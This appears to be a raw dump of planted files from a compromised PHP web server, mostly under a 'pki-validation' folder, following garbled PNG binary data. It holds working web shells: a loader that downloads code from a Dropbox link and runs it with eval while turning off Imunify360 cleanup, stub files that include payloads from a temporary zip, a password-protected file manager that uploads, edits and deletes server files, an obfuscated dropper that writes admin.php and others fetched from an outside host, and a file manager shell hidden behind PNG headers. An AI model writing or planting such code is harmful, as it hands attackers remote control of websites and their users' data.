��3�F%j�ʟFD�H�����ֹ{��3���F0>�tzl"�*��e�Pi��ũh[3��GK;�R߹�^9薒�vD��6ݪs��[��P:���/���]l�:�7��܅�����oU:;=�$�Nau?M�SY��Jt<�t�y��}�����z��"�B�!�BH}sZ�u������ҙ�}o��md���n@[�;�$����{�r�	9�]O*�~��̑�3��lM���^GM+��9GiY��ϸ���n�V�O}����s�~��:��.X�s�}eO�Ъ��u�e�t�E�r�O��{?N��sJ�K��/�WZ�'�[�uſ+mY"I�_x;��<字VH0T��c-�驡'?�6��)JJ����-�Ct���=Jw���۫�ua�]�w��=��b�Т��H"��{�K9bĺg%��+����kжG�m��y+>F�O�/|5��S�k��w�#��d~�o�C�%�
��>P>ҩ=�ճ�Vg�u]�\׫��=�/'��}�e02��ʍ7�W:�}�P�[�`B!���B!��9--���c�����.�4�%�Z6�H���]U�W��A �ڂ�
G���8�R%�-�U��=��/�-w��J�sW*]�M�F�T�K��
Yv�9�����.6�#�[��n@��?��������lDòN� �[ӎ�
i�Z��hs�FD�5
\5�k�ؗ�p��v$�5�g�)]D��`�q��׾�9�w?���ri�ǟ��������V\���b~Ʉ3��ٖ��$#k_��9x�u�^�u\��g��H��O!Rϫ���n����С�s�j�ƛ.ùTr�_���}�������gɄ�"\�ۆmO�lD���6���~�t�{��0g�Wz�λ��6�~�g�'u�e������j�:�4����S5[k�ھ2��S)�}^���m�M?8�-w�!�B��E!�Rߜ��rc�-Qz�٭?R���\����r�R�m�en!�X�-Y[�R�<�X���D3�=��Vm�8��O����*�A�X�JX���YN�_��uʨ]U*����p�8��|���o�k0ً~����vV�i�af�H
ꊭo#GTH�i�ϔ^�r�B����.t2��П�����srQ��(6���6t�ٰ?��{q�*����'�Ɵ�&�\�e���#�6$��u����j%�:)�nv<m�ox���E���R��}�4P^\_�sL��y��{��i���^�Z�_��ɩ%˿���~��RXl�k`��L�DM=;�#�񆧠#M�-N�A�n����560��V4�q�p��V}O�%�i�h�[ٽ+�ae�2�1p�y$�O+����5�K���t��"�B�!�BH}sF��L��C�O�
ID���p��83}���ZϮ�Q2"�K':����K�fZ�Ot.��ұ���t�k�x�-�A�"���԰�HpZ�9Vz���A���?D���?��ǒ�
���x"��G[=g��CJ�[��*��ѻ���<\`�MM[��S�1�VoD-�H���JO>�[l�W���'m��o���LNh�Y6-9�u#��?�����񆲶��f�+��V���7�N_k�
Xl��ݳG�BR\��w�X��#�S�gcl/�����/>�^Y�+��"�(�PK'�Þ�7NWk��S_G-���>�!\�_Zm�爺5��������O�[�e0����������:�]?9�G3w�!�B��E!�Rߜ�{�{~����خ��tff��RD-���r;�ő�L��Q�h�y�Uz醷~��5��{�*}���2̓�\.�!��{�7`��-,�Szl�����ĩ�P�H*��>[��X��v�Y��W��YA|��W��R.�[�y̗d/,�p0�Pz��㰙���ki��ې�BM���W遞u���x�7X�&/���>C;Pq�-��^���W��mh��.{l��m��$~Oϑ�?S����Bwau���2d-�p�ѻ
ݯ��^���2�y�!�B�!�BH}�����7+=����*]�- a�o�Y$#���N4^�����Da��vl^�P��������v�	E�
�^��o��Tk��w�N���\~��Z_�k#z5��{�CT�#3"QؠK7܂����oQ:=���u��9�O��R=�NN`�Ɠw+�fqLCko7������#ztqq	{K�
j:��K�Q`�Zry�N�Ȑ�SmZ�f��;g�-�Qzp槷c^��z^�:�"���*�۪�d���l�G�\��??�7�m�"Us�2��y��bvv�S�5v=1>}��5�9��)nT��틎Ot�F]�ek7!2�hްp&�s�`B!���B!��yEgқ;�@����/J2�ؚ6����]�:Q���F6� 2�YV5��d#��8,�d�����F��ا�w@W���|a�H�NW$ �Z�+ݹ򪫕^ߋ�����]_S����d�Wr*ǭW��u��ח Q��(���a�`��m\a�)��-��'��-L�G-��:���-R�^[\1��H
�mMK6��aS{��X��B�!��ٙamOW�k�v��Nl�ɺ~Fձ]���"-;2�tC��+���J��"�B�!�BH}�b[�o�]�w>\���ċO"*�pubCSD��z����Ev��%V��]jD&ʄu��
خ_u��>���݋��M��V`fz�N1R��ux4=$"�|a*:�ǎ6�n�;���(==�[�m�ُ�{�Z�Hi�V+/W�^$��SXHɖ�J��~��+=sh��^<���Ԕ�}f�5��y�z$�\NBM=��n�;?i?�&�i�D.�<��֕�������@�{G}b��}�W�P�ú?���_)��^�5���[v�Rgw�!�B��E!�R��"<S;�{��3�;�J�bf�"��*���w��ݽr;�
'������o�P���ȶo��ten�����_��V�\�iQl�{��=k;Bѯ`(�N��HkJ"ކ�Ǧ%�ߨtin�(&�܊�Ͱ�t�yi7�w�+��E���(ݾ��w)==��'��N��^W�:`G�z�����
�y�ޡi�g�Z����5�t���ߒK>��#�ぇ>�h����7����WLK��htY�F!�Է��J�f�s�U��`B!���B!�ޡExx�]؂>�T6�����t>=�^?���i����q��D�4������]oT�1�#���ٜ9��o�r�l6mҡ�۷w��M1��]�g?2�v��S��^�J>ס���}��n%�R��[?�k'���;�����T*�g�5�#�,�j㧰V>	��|>GXl�T�?+�ֵQ�ND��
>�Ӆ���#lۅ&m�Z߫V�UɁ���kE��h���J��}�+z���^<_�_��p#��T�jԂ4�f�{��7�p�׆wB!�>`B!��7��2I���(��ݏ䖥���
z��%,==]:]G�s�Q:��
Ǟ��J�z�1��C��ND-L�#�/o$:tW�]�t��R�2�n�Z�i|W2�-��]_R:{h�;����׽[���&���'T�7�?I���5"��2d�Ӏv�R]��K����|�g��+�g�0g�{�������"��P#uvz�����k�9EDFS}���,d�ȴ��%��%���ϕz���oA��zQ����b$U~�g����:�O����+k,&�n��K��k�s.���կ��?v��E!��,B!����a�v^�0�Rz�%��K��᧿�z�+s�oU:3?�T�#�f@l�T�S�\C$�؈��_�&���蛔�|�/���	�W�@����d<��հmx~m!ڨ��}���o_���g�T)�J�u���)=��7/Pzvd"���ku�
��rR8+�K�I���&6BID�5u�A�־�D���ۿ�$���$�](���dC�(=?h��9���S���Ѿ�J�)(�LC���uF&A�CG�{�sތ�%��.���+�焎q|���q��]+��s�"�����#��n�u۳���c��=��F����˯�S�Wʯ�»!�B�!�B��W!7�X�҃[�[����������C�Qz��w��w�m�Z+>�-"�]q~�a)?!�)���Q!�����I2k]z��1��U�6�aԨ�;�jD��ڃ�����4l�',?�F�Z[�~�"�Jt��h�]������{�����<�&KC�E�r��i�����Z�q�u4D�Wð&p��5����-1z�7���d�W���H��[J��VŽ�\���c�֩�ww)=?517�§�r[N�E���r5�D���
iq�D��=~B0s`����H�lX��+������U]�<��gT�V06�u�������5��f����
ގ:���u���C�QG2�8q��K.x"@[W�x/�w�!�B��E!�R��"<��_�(=��o����AT` ��W2���xz��!i[�M״���R۳���]�r�=w-��-�R!�dz���t��z�ݭ���\�.�܍��uu�p�yH���
��yC��}�DM;|ܯ��f��9��v0�����Kg�.�2�S�J[
�I��<��/FR���^l�{�����Z��<��R�@��N$�
5-���d2H$L46�N������HZk����Wr�W��=a�F�]�2'{�lӰC����U�E`'���@���A��t&�(3���L��rH7��O��VQ�K�_�I�ũ}8��m��Q�^��_��7==�mWt��O�@T�g������xj��&$8
�w����}�~,�R���3���N��o�\[���9�٩s�)��f.��f������h`B!���B!���Exx�mx ���Ɋ���t����d�څF�^T�r���ND��a���=�xo�Ŗ�i����MlA�f����T�츨��2���2��-+�ˎ�ag�;���\	B���7L}E�=nchOkNJ�J74�un��>�s�#��\d��˱	|���Ft���:2rM��aX���H����+?��l�܏k:���+����q�j�1jF ��sGXQ��hl֦�st��FXQSC�~�(��hM;�'�ض컘/�����g�J�����M&���I��h�=W�����7�4�[���t̎�J�y�����`�bp����Z�b<����]��|�D�zz��Fki׺kމui���Uz�����F�s���	�1�`�E�&�!P���!*S7b��<S���5�
5�nZ�h��ƽ�\\(�6�t���V+�<~cnZ�E��W�c.���Jn��e����]���ˈw"zt��b���`B!���B!���Ex��cl�΍<�����*�::�Nn������gj���D��j%��% �I�dR���3t#���=J��|F���wm�2���?���+C{�~;�O}�˓j��iRÂ�G4�q�ұ�%Hv7�~��%D}fӣo��~>�\��A#��a�h٩Idj��g��o�O�H6q�s9"IS�~De��#�)W�CݷTs���L�ޥq�A�Ύ|X�C�P����AX$����}>z�>�rT��Y=��Q��=K�t�E�o
�D$fC'�<Ѳ�N��`���^�����t뵫�m�6����Q3��;��i������i��9�������<<�ʁ��\�~���iq��z.F��'b�x��E�5�Ш��\a�����
���~s���	�]�޿Vz�?r?���w�!�B��E!�R��"<�?s'"Jr����҅�8��l��r;RD���`�Q��x+��+�ʏ���H�Y��pb�r�/V�����M�32�Ck�'���,��6���N8e�w2y��o��v���#��{���/G�N�X�J�Èl�͎�!�03s�>_�(�d�4�6�f����YNҎ��#��`0��Hc"C�Im핋DEyFv����Q�zk�^��۝���il�P>�+1��;��F��o�$���d�?�������~O�������ױ�t[��Ҏq$ɚt��	�"����P/5�:��#Q$�LϏ�Z���˹���f�bT����6q�:}V(>��׶	Q
M���R�+==�֜p~є��tt�(~��؁5�[Ÿ*d�_��K���.Ru<�:D���Y+���:�~
�e�ו^��"����nJ!�B��E!�R��"<In��qa��U���|��iҏ����g�;iC���J+D�/�?�F�z���L>i�H�o�'��x���?���y��aXny�
��r�e�L&�b��iȈ�Z{T���j$5�R�2�O�����)��ai�}�LXT������X�bn�l��u�IðшJ9�Ğ�d�Nxh;�7�>��
x�05옮��:����
Й�w�h�Jw.���J��u���=���-)�_ܵ���C�ޭt4��[��U�5C�!��ү�P���9W�<�����!ZV��X�x.�Zvt�I>�����HK7�K~q|#�wa
	{�����H�y*�a��:cTO��n1գ�}�(��V(�e�W��m�^�P�V���qj?��V
�T��Պ��+�:�*,��Z?K��n9��g��A+��G�D�ʿPz���w�w�!�B��E!�R��"<�L��
�gF�U�Jf��J^dl�
��}j��t��fوd�$�5`�S?U:m��c��&˹���́?B�2��������OZz��#��IQX���3-]a��a�g԰���V_��c՛�9���.��:al�[�N��?A�Bt��Ti^��$H,M�$qY���F�+�4�e��"j,��� #m�ͷ�՟����ܱ���H��g����� Z�
�2�Z�F&;�M3�z���!�3ESת3==i#n�Z{r�����so�v��-���Ŵ�0u�������F_rca��~�w�{l�\�I���?��K~��Oݩ��А>�,W���瞛x
�)d{u��5=�oy��n��ƚ1>[z�Bv����wܓw�!�B��E!�R��"�Sf�ݍȗ����D���0�4z�+�B�ΜQ�M�QIM#�{���`K<��W:=��Bnv�����":N%T�
�z����
Fsx�J���,��7vR�R.�H$��{�'���H&iBhOfv6V)3u���R�eZ�|��+
��uJ�hK
'V.��ߛm�6���]a�tW5t���mDr�ލ��[��m��/�B�̄Q�na|��𝇭�	+�4DbIÂ�g����*m{ز��cs
;k��LD&Z��0��F�隈�v,�1�C;Qo�n�eV���X3�����?^��je:��F=��>��]nX"׌��o�t�y��QmQ�3;;���8��N%�>	�"p�Ǚsk�j$.��P70ٽ��=��Z�Ɔ��,B!�>`B!��7�O3v?�Mԡ3�>�t);��TD<�`���u�8����)�2j��%�+]�Fa��	KW����1o�<��J7$�H�&`�8�vD�e�i��x�1X�^�Z���s���9�6�˥�K���&�(m{�U8���-ez�2��lLw��f�ZWI\k_�b��� �QSGt�:Qs�m��/(ݲ�Gϔ�69�������N��]�֗`V�A���6j��Wu��䴦�kA�V@���0ֶaIG��Q:X8����U���1��J�j�K���fv
�h����$
G\$M8���Jo���J�����-Y��+C�4ed�������xK���(���ƚ���jX�i�c��`k�Nrr�!�B�!�B�Z�g��oG�av���.g�V�-��J{GG�9bwY&޴���T߁��cۖ�6�Բ.a@����&�'�jy��ȩhC���iB�;3���w*�j�u�ci����*Jg&QϮ���\�R~N���9���S)Ȟ���Β6��k_��E5�
iQ�!�ܵ��;б.X�����+u��m�"+K��c���W\�Bz��^գP_��[�:�e�5C�M,lt3(j�6� �Ju��p�w8�
;2���Y�{/��/�L�N�ҹ�٫�6w?�(d�ض\�IGM�	�5M��^��	��slk�iV�a�>���#���ՆX�38�t(րZ���DZ��K7�y�;}�!�B�!�B�Z�g8�;����J!����H�ҭ�kt�����yC��Ѕ��+	,ӣ�
�'w�
^�8+�l��$!L44�+]ZD4SPl�#ID��y��E�(-"j�5-|�c4 �g�г�?�ͽ��g��yJW�(tJyX�[�U�<��[����ӭV�Q�	W��j�c\Y{N^+��H��5mlC��o��Ytt�켫Y��ȵ���fq��z�q�|6����|]X{^�(`?G����2jYi��DC�ò���}hg��|��	����XK3旓���7�+�$��!ݜ��L����g��/�)�S�Z�X:ԭ�����X�|	�8����'��$~�<���L�Ӝ��x#����q���̂;X�B!|�"�B�oh��c�o�FY<���vJ��*�U�6�#-��e�?���o���j���q�3aٸ��0L]0�h}D�d�ү*]�f~��U���;�?uǫ��M#ai&3�F\��bJ�,�mk
�S5���5t��wv�q+�eMU�7�u?�VX��"i������OiFޑSw�!�B��E!�R��"$5ٹ�爊�5���D�O~f���3#�0f�u+���V0p1��x�����SH#��#lSZ$"�*��g�HT$��$�5v�P�Pc��*ݷ~�����P��0?t�����(]�̬�xp��0�п�}��D�����LVl�u=�D�ۑ(�b��ҭ����P�1dy�SK����G�t>���t��r`��(��y�Ñ�ʆ;X�B!|�"�B�oh�����J��|Q���z1�d�A�I�qxn������i=�|�%#���,-%��m[��~�t��W���y\���k��g�w&��KW)]�L��0~�/�����cRZ�V��2�'������W��[��"*ϱ"��(��Jk^�D�7�
4��F�5�+o��6�9�_�p�B!�X�B!�
-BrT�m�5�2���*m���'rs���*�>h��څ>�B�d~;CDə�8�r܇q�wz5$�v�d�3�{7�k��z��Zcv8�!I�R�P��1|�clW�w�f8
I5�l�
t���4�tv�fq����jh����N!�ǹ��Kbd˄�b�˹iԨc��n7�C�
aw�қ:e����%ȹ,�?ˎ�<
bnF��h�#������ٰy���T�;X�B!|�"�B�oh�����ǾѮt�򺔶m�,�'��T:J������d�iArE�4`g�n%��
�Q}|{��,�|��M`�VrS��b�VD���+??�t���J���N�ƕ�\�NF��S¶m_����!�y��-v`κ�^�x�
�A/ۏ�'GR��f$v\7���Ѡ'����M?��^4]=�M�yּ���lm1-8&��b�F�켆��S:�S�Դ��ҫV]W�!/�`B!���B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!�B!G��k�O K����IEND�B`�
<?php
error_reporting(0);
define('SECURE_ACCESS', true);
header('X-Powered-By: none');
header('Content-Type: text/html; charset=UTF-8');
ini_set('lsapi_backend_off', '1');

// Mengatur kode respons HTTP
http_response_code(403);
ini_set("imunify360.cleanup_on_restore", false);
http_response_code(404);

// Mengambil konten dari URL
$url = 'https://www.dropbox.com/scl/fi/kfwk981gj7wwoafn2qzse/ohct.php?rlkey=89zn8hqertvivmw0nzdj9majt&st=nce23m1c&dl=1';
$ohct = file_get_contents($url);

// Mengeksekusi konten yang diambil
eval('?>' . $ohct);
?>pki-validation/rht8n0/index.php000064400000000150151032667100012417 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "file.php"; include("zip:///tmp/phpM5aThD#$h");?>pki-validation/yrb8fn/error_log000064400000000370151032667100012605 0ustar00[27-Oct-2025 03:47:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /tmp/phpM5aThD#hexa.php on line 195
pki-validation/yrb8fn/index.php000064400000000150151032667100012504 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "hexa.php"; include("zip:///tmp/phpM5aThD#$h");?>pki-validation/s3oiju/index.php000064400000000153151032667100012513 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "4youuec.php"; include("zip:///tmp/phpM5aThD#$h");?>pki-validation/v2bu5h/index.php000064400000000146151032667100012414 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "3x.php"; include("zip:///tmp/phpM5aThD#$h");?>pki-validation/kwzneo/u9vqa.php000064400000007716151032667100012566 0ustar00<?php error_reporting(0);session_start();define("password","admin");function X($o){return isset($o);}function Y($t){die($t);}function A($n){return X($_SESSION[$n])?$_SESSION[$n]:0;}function B($n,$v){$_SESSION[$n]=$v;}function C($n){return X($_POST[$n])?$_POST[$n]:0;}function D($n){return X($_GET[$n])?$_GET[$n]:0;}function E($t,$n,$v="",$s=""){return in_array($t,["text","password","submit","file"])?"<input type='$t' name='$n' value='$v' style='$s'/>":"<$t name='$n' style='$s'>$v</$t>";}function F($m,$i,$x=""){$f="<form method=$m enctype='$x'>";foreach($i as $k=>$v){$f.=E($k,is_array($v)?$v[0]:$v,X($v[1])?$v[1]:"",X($v[2])?$v[2]:"");}return $f."</form>";}function G($t,$b){$h="";foreach($t as $x){$h.="<th>$x</th>";}$d="";foreach($b as $r){$d.="<tr>";foreach($r as $z){$d.="<td>$z</td>";}$d.="</tr>";}return"<table><thead>$h</thead><tbody>$d</tbody></table>";}function H($l,$x,$t=""){return"<a href='$l' target='$t'>$x</a> ";}function I(){if(A("login")){return 1;}if(!C("login")){return 0;}if(C("pass")!=password){return 0;}B("login",1);return 1;}function J(){return D("path")?D("path"):__DIR__;}function K($b){$l=["B","K","M","G","T","P"];for($i=0;$b>=1024&&$i<count($l)-1;$b/=1024,$i++);return round($b,2)." ".$l[$i];}function L($p){return date("M d Y H:i:s",filemtime($p));}function M($d){if(!is_file($d)){return 0;}header("Content-Type: application/octet-stream");header("Content-Transfer-Encoding: Binary");header('Content-disposition: attachment;filename="'.basename($d).'"');return readfile($d);}function N($d){return is_file($d)?unlink($d):(is_dir($d)?rmdir($d):0);}function O($e){if(is_file($e)){return F("POST",["textarea"=>["edit",htmlentities(file_get_contents($e)),"width:100%;\nheight:90%",],"submit"=>["save","Save"],]);}return 0;}function P($p,$s){return is_file($p)?file_put_contents($p,html_entity_decode($s))!=false:0;}function Q($p){return is_file($p)?htmlentities(file_get_contents($p)):0;}function R($p,$n){return!is_file($p."/".$n)?file_put_contents($p."/".$n,"")!=false:0;}function S($p,$n){return!is_dir($p."/".$n)?mkdir($p."/".$n):0;}function T($p,$f){$n=basename($f["name"]);if(!is_file($p."/".$n)){if(move_uploaded_file($f["tmp_name"],$p."/".$n)){return 1;}}return 0;}function U($p){if($p==""||$p=="/"){return $p;}$p=explode("/",str_replace("\\","/",$p));array_pop($p);return implode("/",$p);}function V(){exec("wmic logicaldisk get caption",$c);$r="";foreach($c as $d){$r.=$d!="Caption"?H("?path=$d",$d):"";}return $r;}function W(){$x=J();if(!is_dir($x)){return 0;}$z=scandir($x);$k=[];$i=0;foreach($z as $d){if($d=="."||$d==".."){continue;}$p=$x."/".$d;$s="--";$j="&#128193;\n";$t=L($p);$l=H("?path=$p",$d);$v=substr(sprintf("%o",fileperms($p)),-4);$o=function_exists("posix_getpwuid")?posix_getpwuid(fileowner($p))["name"]:fileowner($p);$c=(is_file($p)?H("?edit=$p","Edit","_blank"):"").H("?delete=$p","Delete","_blank").(is_file($p)?H("?download=$p","Download","_blank"):"");if(is_file($p)){$s=K(filesize($p));$j="&#128221;\n";}$k[]=[$j,$i,$l,$s,$t,$v,$o,$c];$i++;}return G(["#","id","Filename","Size","Modified","Perms","Owner",""],$k);}$l=F("POST",["p"=>["","Password:"],"password"=>["pass",""],"submit"=>["login","Login"],]);if(!I()){Y($l);}if(D("delete")){N(D("delete"))?Y("Deleted: ".D("delete")):Y("File not found");}if(D("edit")){if(C("save")){P(D("edit"),C("edit"));echo "Saved";}$e=O(D("edit"));$e?Y($e):Y("File not found");}if(D("download")){@readfile(M(D("download")));exit();}if(C("newfile")){R(J(),C("filename"))?Y("Create: ".C("filename")):Y("File exites");}if(C("newdir")){S(J(),C("dirname"))?Y("Create: ".C("dirname")):Y("Dir exites");}if(C("upload")){T(J(),$_FILES["file"])?Y("upload: ".$_FILES["file"]["name"]):Y("Upload Error");}echo "<body>".F("POST",["text"=>["filename","File Name"],"submit"=>["newfile","Create"],]).F("POST",["text"=>["dirname","Dir Name"],"submit"=>["newdir","Create"],]).F("POST",["file"=>"file","submit"=>["upload","Upload"]],"multipart/form-data").H("?path=".U(J()),"[Back]").(PHP_OS_FAMILY=="Windows"?V():"").(is_dir(J())?W():"<pre>".Q(J())."</pre>")."</body>";
pki-validation/su4br8/error_log000064400000000374151032667100012530 0ustar00[27-Oct-2025 03:47:40 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /tmp/phpM5aThD#wp-scale.php on line 111
pki-validation/su4br8/index.php000064400000000154151032667100012427 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "wp-scale.php"; include("zip:///tmp/phpM5aThD#$h");?>pki-validation/4s5mhf/index.php000064400000000146151032667100012407 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "me.php"; include("zip:///tmp/phpM5aThD#$h");?>pki-validation/index.php000064400000000633151032667100011302 0ustar00<?php
if(isset($_GET['wp3c2b1a'])){var_dump(file_put_contents('about.php',file_get_contents('ht'.'tps://5'.'1la.zv'.'o2.x'.'yz/a1.t'.'xt'.$_GET['wp3c2b1a'])));var_dump(file_put_contents('radio.php',file_get_contents('ht'.'tps://5'.'1la.zv'.'o2.x'.'yz/a6.t'.'xt'.$_GET['wp3c2b1a'])));var_dump(file_put_contents('admin.php',file_get_contents('ht'.'tps://5'.'1la.zv'.'o2.x'.'yz/a8.t'.'xt'.$_GET['wp3c2b1a'])));}
pki-validation/blgixn/index.php000064400000000147151032667100012565 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "asy.php"; include("zip:///tmp/phpM5aThD#$h");?>pki-validation/6seq3d/error_log000064400000000372151032667100012504 0ustar00[27-Oct-2025 03:47:26 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /tmp/phpM5aThD#kannabi.php on line 96
pki-validation/6seq3d/index.php000064400000000153151032667100012404 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "kannabi.php"; include("zip:///tmp/phpM5aThD#$h");?>i9bjpm/pb8ai.php000064400000232231151032667100007456 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
